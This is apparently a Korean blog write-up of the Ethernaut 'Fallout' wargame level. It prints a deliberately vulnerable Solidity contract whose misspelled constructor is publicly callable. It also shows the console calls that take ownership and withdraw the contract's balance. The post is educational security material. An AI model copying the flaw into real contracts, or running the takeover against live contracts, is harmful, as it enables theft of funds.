Notice
Recent Posts
Recent Comments
Link
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 |
Tags
- Wargame
- EVM
- Coin
- Oracle Cloud
- ethereum
- coin flip
- writeup
- openzepplin
- soft fork
- ethernaut
- transaction
- syntax
- Block
- approve
- chain reorganization
- libray
- web3
- tx.origin
- TransferFrom
- solidity
- ethereum virtual machine
- web assembly
- audit
- secureum
- Ethererum
- Smart contract
- byte code
- hard fork
- NaughtCoin
- Assembly
Archives
- Today
- Total
c0mpos3r
[Ethernaut] 02. Fallout WriteUp 본문
1. 문제 분석
That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right? Well... Not quite.
The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:
contract Rubixi { address private owner; function DynamicPyramid() { owner = msg.sender; } function collectAllFees() { owner.transfer(this.balance) } ...
This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland.
어리석지 않았어? 실제 계약은 이것보다 훨씬 안전해야하므로 해킹하기가 훨씬 더 어려워 야합니까? 글쎄 ... 그다지 아닙니다.
Rubixi의 이야기는 이더 리움 생태계에서 매우 잘 알려진 사례입니다. 이 회사는 이름을 'Dynamic Pyramid'에서 'Rubixi'로 변경했지만 어떻게 든 계약의 생성자 방법을 바꾸지 않았습니다.
이를 통해 공격자는 이전 생성자에게 전화하여 계약의 소유권을 청구하고 일부 자금을 훔칠 수있었습니다. 네. SmartContractland에서는 큰 실수를 저지를 수 있습니다.
1-1. code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
1-2. Fallout Contract 분석
상태 변수
- mapping(address ⇒ uint256) allocations : 입금 기록
- address payable public owner : 소유자 주소(인출 권한)
주요 함수
- Fal1out() public payable → owner = msg.sender 지정
- allocate() public payable → 호출자 allocations에 msg.value 가산
- sendAllocation(address payable allocator) public → allocator.transfer(allocations[allocator]) (상태 감소 없음)
- collectAllocations() public onlyOwner → contract 잔액 전부 owner에게 전송
2. Solving
- contract.Fal1out() 호출로 msg.sender = owner 탈취
- contract.collectAllocations() 호출로 컨트랙트 잔액 수령
await contract.Fal1out()
await contract.owner()
await contract.collectAllocations()

3. 결론
Smart Contract의 권한, 초기화는 암묵적 규약(함수명 관습 등)에 의존하면 한 글자 실수 만으로도 즉시 소유권·자금 탈취로 이어지므로, 명시성, 테스트, 코드 리뷰 감사를 기본 원칙으로 삼아야 한다.
'Web3 > Hacking' 카테고리의 다른 글
| [Ethernaut] 04. Telephone WriteUp (0) | 2025.08.24 |
|---|---|
| [Ethernaut] 03. Coin Flip WriteUp (0) | 2025.08.24 |
| [Ethernaut] 01. Fallback WriteUp (0) | 2025.08.24 |
| [Ethernaut] 00. Hello Ethernaut WriteUp (0) | 2025.08.24 |
| [Ethernaut] 20. Denial WriteUp (0) | 2025.08.24 |